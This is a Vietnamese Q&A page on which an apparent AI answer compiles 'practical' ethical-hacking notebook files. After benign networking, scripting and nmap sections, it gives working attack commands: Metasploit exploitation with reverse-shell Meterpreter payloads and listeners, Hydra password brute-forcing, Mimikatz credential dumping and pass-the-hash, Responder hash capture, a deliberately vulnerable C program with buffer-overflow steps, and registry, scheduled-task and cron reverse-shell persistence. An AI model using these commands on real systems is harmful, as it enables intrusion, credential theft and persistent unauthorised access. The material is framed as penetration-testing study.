AI Hay
Kim Thắm
hỏi · 
Làm thế nào để áp dụng các lệnh thực chiến trong Ethical Hacking?
Trả lời:
Chắc chắn rồi, nam! Dựa trên những gì bạn đã có và yêu cầu lọc nội dung "thực chiến", đây là những gì tôi đề xuất để bổ sung vào sổ tay của bạn.
***
📄 FILE 36/32: 02_LINUX_ESSENTIALS/network_commands_practical.md
📌 Mục tiêu thực chiến
Nắm vững các lệnh mạng Linux để nhanh chóng kiểm tra kết nối, phân giải DNS và xác định dịch vụ đang chạy.
📚 Kỹ thuật/Command chính
• Kiểm tra kết nối và độ trễ mạng
- Cách hoạt động: Gửi các gói tin ICMP đến mục tiêu để xác định xem nó có hoạt động và mất bao lâu để phản hồi.
- Command thực tế:
ping -c 5 192.168.1.1
• Theo dõi đường đi gói tin
- Cách hoạt động: Xác định các router mà gói tin đi qua để đến đích, hữu ích khi chẩn đoán vấn đề mạng.
- Command thực tế:
traceroute google.com
• Phân giải tên miền thành IP
- Cách hoạt động: Truy vấn DNS server để tìm địa chỉ IP tương ứng với một tên miền.
- Command thực tế:
dig A example.com
• Liệt kê các cổng đang lắng nghe và tiến trình
- Cách hoạt động: Xem các cổng TCP/UDP đang mở và tiến trình nào đang sử dụng chúng, giúp xác định dịch vụ.
- Command thực tế:
sudo ss -tulnp
***
📄 FILE 37/32: 03_BASH_PYTHON_BASICS/bash_scripting_automation.md
📌 Mục tiêu thực chiến
Tự động hóa các tác vụ lặp đi lặp lại trên Linux bằng Bash script.
📚 Kỹ thuật/Command chính
• Tự động sao lưu thư mục
- Cách hoạt động: Tạo bản sao lưu của một thư mục bằng lệnh "tar" và nén lại.
- Command thực tế:
#!/bin/bash
BACKUP_DIR="/home/nam/backups"
SOURCE_DIR="/home/nam/documents"
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
tar -czvf \(BACKUP_DIR/backup_\)TIMESTAMP.tar.gz $SOURCE_DIR
echo "Backup created: backup_$TIMESTAMP.tar.gz"
• Tìm và xóa file cũ
- Cách hoạt động: Tìm các file có thời gian tạo/sửa đổi cũ hơn một ngưỡng nhất định và xóa chúng.
- Command thực tế:
#!/bin/bash
LOG_DIR="/var/log/myapp"
DAYS_OLD=7
find \(LOG_DIR -type f -mtime +\)DAYS_OLD -delete
echo "Old logs in $LOG_DIR deleted."
• Kiểm tra trạng thái dịch vụ và khởi động lại nếu cần
- Cách hoạt động: Sử dụng "systemctl" để kiểm tra trạng thái dịch vụ, nếu đang lỗi thì khởi động lại.
- Command thực tế:
#!/bin/bash
SERVICE_NAME="nginx"
if ! systemctl is-active --quiet $SERVICE_NAME; then
echo "$SERVICE_NAME is not running. Restarting..."
sudo systemctl restart $SERVICE_NAME
else
echo "$SERVICE_NAME is running."
fi
***
📄 FILE 38/32: 04_RECONNAISSANCE_PASSIVE/shodan_practical.md
📌 Mục tiêu thực chiến
Sử dụng Shodan để tìm kiếm các thiết bị, dịch vụ công cộng và lỗ hổng tiềm ẩn.
📚 Kỹ thuật/Command chính
• Tìm kiếm máy chủ web theo quốc gia
- Cách hoạt động: Liệt kê các máy chủ web (HTTP) từ một quốc gia cụ thể.
- Command thực tế (truy vấn trên web Shodan):
http.component:"Apache" country:vn
• Tìm kiếm thiết bị IoT dễ bị tấn công
- Cách hoạt động: Tìm kiếm các thiết bị có dịch vụ mặc định hoặc lỗ hổng đã biết.
- Command thực tế (truy vấn trên web Shodan):
webcam xpconneXion
• Tìm dịch vụ RDP đang mở
- Cách hoạt động: Xác định các máy chủ có cổng RDP (3389) đang mở cho truy cập từ bên ngoài.
- Command thực tế (truy vấn trên web Shodan):
port:3389
***
📄 FILE 39/32: 05_LAB_SETUP_SCANNING/nmap_practical_scanning.md
📌 Mục tiêu thực chiến
Sử dụng Nmap để quét nhanh chóng các cổng, dịch vụ và hệ điều hành trên mục tiêu.
📚 Kỹ thuật/Command chính
• Quét nhanh các cổng phổ biến trên mạng cục bộ
- Cách hoạt động: Sử dụng Nmap để quét 1000 cổng TCP phổ biến trên dải IP.
- Command thực tế:
nmap -F 192.168.1.0/24
• Xác định dịch vụ và phiên bản đang chạy
- Cách hoạt động: Quét cổng và thử nhận diện chính xác phiên bản của dịch vụ đang lắng nghe.
- Command thực tế:
nmap -sV 192.168.1.50
• Tìm kiếm hệ điều hành của máy chủ
- Cách hoạt động: Dựa vào các đặc điểm của gói tin TCP/IP để suy đoán hệ điều hành.
- Command thực tế:
nmap -O 192.168.1.50
• Quét các cổng UDP
- Cách hoạt động: Quét các cổng UDP, thường chậm hơn TCP và khó nhận diện dịch vụ hơn.
- Command thực tế:
sudo nmap -sU -p 161,162 192.168.1.50
***
📄 FILE 40/32: 06_EXPLOITATION_BASICS/metasploit_practical_usage.md
📌 Mục tiêu thực chiến
Sử dụng Metasploit để khai thác lỗ hổng web server phổ biến và lấy reverse shell.
📚 Kỹ thuật/Command chính
• Khai thác lỗ hổng Apache Struts (ví dụ)
- Cách hoạt động: Sử dụng module exploit có sẵn trong Metasploit để tấn công vào Apache Struts.
- Command thực tế:
msf6 > use exploit/multi/http/struts2_content_type_parser_
msf6 exploit(...) > set RHOSTS 192.168.1.70
msf6 exploit(...) > set PAYLOAD php/meterpreter/reverse_tcp
msf6 exploit(...) > set LHOST 192.168.1.100
msf6 exploit(...) > exploit
• Tạo Payload Meterpreter cho Windows
- Cách hoạt động: Sử dụng "msfvenom" để tạo ra file thực thi chứa Meterpreter payload.
- Command thực tế:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /tmp/payload.exe
• Thiết lập listener cho Meterpreter
- Cách hoạt động: Chạy "msfconsole" và cấu hình multi/handler để chờ kết nối từ payload.
- Command thực tế:
msf6 > use exploit/multi/handler
msf6 handler > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 handler > set LHOST 192.168.1.100
msf6 handler > set LPORT 4444
msf6 handler > exploit
***
📄 FILE 41/32: 06_EXPLOITATION_BASICS/hydra_practical_attacks.md
📌 Mục tiêu thực chiến
Sử dụng Hydra để dò mật khẩu các dịch vụ mạng phổ biến như SSH, HTTP.
📚 Kỹ thuật/Command chính
• Dò mật khẩu SSH
- Cách hoạt động: Thử các cặp username/password từ file wordlist để đăng nhập SSH.
- Command thực tế:
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.60
• Dò mật khẩu trang đăng nhập HTTP Basic Auth
- Cách hoạt động: Thử các username/password cho giao thức Basic Authentication của HTTP.
- Command thực tế:
hydra -l admin -P wordlist.txt http://192.168.1.80/login
• Dò mật khẩu FTP
- Cách hoạt động: Thử các thông tin đăng nhập để truy cập máy chủ FTP.
- Command thực tế:
hydra -L /usr/share/wordlists/hydra_usernames.txt -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.90
***
📄 FILE 42/32: 06_EXPLOITATION_BASICS/mimikatz_practical.md
📌 Mục tiêu thực chiến
Sử dụng Mimikatz để lấy thông tin xác thực (hash, password) từ máy Windows trong môi trường lab.
📚 Kỹ thuật/Command chính
• Lấy mật khẩu và hash từ bộ nhớ LSASS
- Cách hoạt động: Mimikatz truy cập vào tiến trình LSASS để trích xuất thông tin xác thực đã lưu.
- Command thực tế (chạy trên máy Windows mục tiêu có quyền Admin):
mimikatz.exe
# Trong cửa sổ Mimikatz:
sekurlsa::logonpasswords
• Lấy vé Kerberos (TGT)
- Cách hoạt động: Trích xuất vé TGT (Ticket Granting Ticket) cho phép xác thực với các dịch vụ trong domain.
- Command thực tế (trong Mimikatz):
kerberos::list /transport:kerberos
• Thực hiện Pass-the-Hash (PtH) với Mimikatz
- Cách hoạt động: Sử dụng hash mật khẩu đã trích xuất để xác thực đến các máy khác trong mạng.
- Command thực tế (sử dụng Mimikatz làm công cụ hỗ trợ):
# Lấy hash
sekurlsa::logonpasswords
# Sau đó dùng hash này với các công cụ khác như crackmapexec hoặc psexec
***
📄 FILE 43/32: 06_EXPLOITATION_BASICS/responder_mitm.md
📌 Mục tiêu thực chiến
Sử dụng Responder để thực hiện tấn công ARP spoofing và thu thập thông tin xác thực mạng.
📚 Kỹ thuật/Command chính
• Nghe lén lưu lượng mạng và thu thập hash
- Cách hoạt động: Responder giả mạo Gateway và phản hồi các yêu cầu LLMNR/NBT-NS, buộc client gửi hash NTLM về cho kẻ tấn công.
- Command thực tế:
sudo responder -I eth0 -v
• Phân tích hash NTLM đã thu thập
- Cách hoạt động: Lưu các hash thu thập được vào file và sử dụng công cụ như John the Ripper hoặc Hashcat để crack.
- Command thực tế:
# Responder sẽ lưu file hash vào thư mục /tmp
# Sau đó dùng John:
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/Responder-Session-ID.txt
• Cấu hình Responder cho các dịch vụ khác
- Cách hoạt động: Responder có thể nghe lén nhiều giao thức khác nhau ngoài LLMNR/NBT-NS.
- Command thực tế:
# Chỉnh sửa file /etc/responder/Responder.conf để bật các dịch vụ khác
***
📄 FILE 44/32: 07_ADVANCED_CONCEPTS/buffer_overflow_windows_practical.md
📌 Mục tiêu thực chiến
Xây dựng và khai thác lỗ hổng Buffer Overflow trên ứng dụng Windows 32-bit trong môi trường lab.
📚 Kỹ thuật/Command chính
• Tạo ứng dụng Windows 32-bit dễ bị tấn công
- Cách hoạt động: Viết một chương trình C đơn giản có buffer tràn bộ nhớ.
- Command thực tế (ví dụ code C):
#include
#include
void vulnerable_function(char *input) {
char buffer[100];
strcpy(buffer, input);
printf("Buffer content: %s\n", buffer);
}
int main(int argc, char **argv) {
if (argc > 1) {
vulnerable_function(argv[1]);
}
return 0;
}
• Sử dụng Metasploit Pattern Creator để tìm Offset
- Cách hoạt động: Tạo một chuỗi độc nhất để gửi vào buffer, sau đó dùng offset để xác định vị trí ghi đè EIP.
- Command thực tế:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200 -o pattern.txt
# Gửi nội dung pattern.txt vào chương trình C
# Lấy giá trị EIP từ crash, sau đó dùng:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q
• Xây dựng Shellcode và Bypass NX (nếu có)
- Cách hoạt động: Tạo Shellcode không chứa bad characters và tìm địa chỉ JMP ESP để thực thi.
- Command thực tế:
msfvenom -p windows/32/exec CMD=calc.exe -f c -b "\x00\x0a\x0d" LHOST=192.168.1.100 LPORT=4444 > shellcode.txt
# Tìm địa chỉ JMP ESP (ví dụ: 0x7C8641BE trong user32.dll)
• Viết PoC exploit với Python
- Cách hoạt động: Kết hợp offset, bad characters, Shellcode và địa chỉ JMP ESP để tạo exploit.
- Command thực tế (script Python):
# ... (đoạn code đầy đủ sẽ phức tạp hơn, bao gồm việc gửi payload qua socket)
***
📄 FILE 45/32: 07_ADVANCED_CONCEPTS/persistence_lateral_movement.md
📌 Mục tiêu thực chiến
Thiết lập sự hiện diện dai dẳng (persistence) và di chuyển ngang (lateral movement) trong mạng mục tiêu.
📚 Kỹ thuật/Command chính
• Thiết lập Persistence trên Windows
- Cách hoạt động: Tạo một cơ chế để đảm bảo kẻ tấn công có thể truy cập lại hệ thống ngay cả khi reboot.
- Command thực tế:
# Sử dụng registry Run keys
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Payload /t REG_SZ /d "C:\path\to\payload.exe"
# Tạo Scheduled Task
schtasks /create /tn MyTask /tr "C:\path\to\payload.exe" /sc ONLOGON
• Thiết lập Persistence trên Linux
- Cách hoạt động: Tương tự Windows, sử dụng cron jobs hoặc systemd services.
- Command thực tế:
# Thêm vào crontab
crontab -e
# Thêm dòng: @reboot /path/to/reverse_shell.sh
# Tạo systemd service
# Tạo file /etc/systemd/system/myservice.service với nội dung reverse shell
# systemctl enable myservice
• Lateral Movement - Pass the Hash (PtH)
- Cách hoạt động: Sử dụng hash mật khẩu để xác thực đến các máy tính khác trong cùng mạng.
- Command thực tế (dùng crackmapexec):
crackmapexec smb 192.168.1.0/24 -u -H --exec "whoami"
• Lateral Movement - PsExec
- Cách hoạt động: Sử dụng công cụ PsExec để thực thi lệnh từ xa trên máy tính khác trong mạng.
- Command thực tế:
psexec \\TARGET_IP -u -p "whoami"
***
📄 FILE 46/32: 07_ADVANCED_CONCEPTS/reporting_practical.md
📌 Mục tiêu thực chiến
Viết một báo cáo Penetration Test thực tế, tập trung vào các lỗ hổng và cách khắc phục.
📚 Kỹ thuật/Command chính
• Cấu trúc Executive Summary
- Cách hoạt động: Tóm tắt ngắn gọn tình hình bảo mật, các rủi ro chính và đề xuất cấp cao cho ban lãnh đạo.
- Nội dung thực tế:
- "Hệ thống web www.example.com có rủi ro cao về việc lộ lọt dữ liệu nhạy cảm do lỗ hổng SQL Injection."
- "Khuyến nghị ưu tiên vá lỗ hổng này ngay lập tức."
• Mô tả lỗ hổng và bằng chứng
- Cách hoạt động: Mô tả chi tiết lỗ hổng, cách khai thác và cung cấp bằng chứng (ảnh chụp màn hình, log).
- Nội dung thực tế:
- Lỗ hổng: SQL Injection tại trang đăng nhập.
- Mô tả: Kẻ tấn công có thể chèn mã SQL độc hại vào trường nhập liệu để truy vấn trái phép cơ sở dữ liệu.
- Command khai thác: "http://example.com/login.php?id=1' OR '1'='1"
- Ảnh chụp màn hình: [minh họa kết quả truy vấn trái phép]
• Đề xuất khắc phục chi tiết
- Cách hoạt động: Đưa ra hướng dẫn cụ thể để vá lỗ hổng, bao gồm các biện pháp kỹ thuật và quy trình.
- Nội dung thực tế:
- Đối với SQL Injection: "Sử dụng prepared statements hoặc parameterized queries trong code ứng dụng. Thực hiện validation đầu vào dữ liệu chặt chẽ."
- Đối với mật khẩu yếu: "Yêu cầu người dùng đặt mật khẩu mạnh (dài, phức tạp), định kỳ thay đổi mật khẩu, và áp dụng chính sách khóa tài khoản sau nhiều lần đăng nhập sai."
• Sử dụng công cụ ghi chú để quản lý báo cáo
- Cách hoạt động: Tổ chức thông tin, bằng chứng và cấu trúc báo cáo bằng công cụ như Notion hoặc Obsidian.
- Công cụ thực tế:
- Notion: "https://www.notion.so/"
- Obsidian: "https://obsidian.md/"
***
📄 FILE 47/32: 10_PRACTICAL_CHECKLIST/ethical_hacker_checklist.md
📌 Mục tiêu thực chiến
Cung cấp một checklist các hành động và công cụ cần thiết cho một Ethical Hacker trong quá trình pentest.
📚 Kỹ thuật/Command chính
• Giai đoạn Reconnaissance
- Passive Recon:
- Thu thập subdomain: "sublist3r -d example.com"
- Tra cứu DNS công khai: "dig A example.com"
- Tìm kiếm thông tin public: "shodan http.component:apache country:vn"
- Active Recon:
- Quét cổng Nmap: "nmap -sV -O -p- 192.168.1.0/24"
- Quét thư mục web: "gobuster dir -u http://target.com -w wordlist.txt"
• Giai đoạn Enumeration & Scanning
- HTTP Enumeration:
- "nikto -h http://target.com"
- "whatweb http://target.com"
- SMB Enumeration:
- "smbclient -L //192.168.1.50"
- "nmap --script smb-enum-shares -p 445 192.168.1.50"
• Giai đoạn Exploitation
- Metasploit:
- Tìm exploit: "msfconsole > search apache_struts"
- Khai thác: "use exploit/...", "set RHOSTS", "exploit"
- Password Attacks:
- Hydra: "hydra -l user -P wordlist.txt ssh://target_ip"
- John: "john --wordlist=wordlist.txt hash.txt"
• Giai đoạn Post-Exploitation
- Windows:
- Lấy creds (Mimikatz): "sekurlsa::logonpasswords"
- Persistence (Registry): "reg add ..."
- Linux:
- Persistence (Cron): "crontab -e"
- Privilege Escalation: "sudo -l"
• Giai đoạn Reporting
- Cấu trúc báo cáo: Executive Summary, Technical Details, Findings, Recommendations.
- Công cụ ghi chú: Notion, Obsidian.
***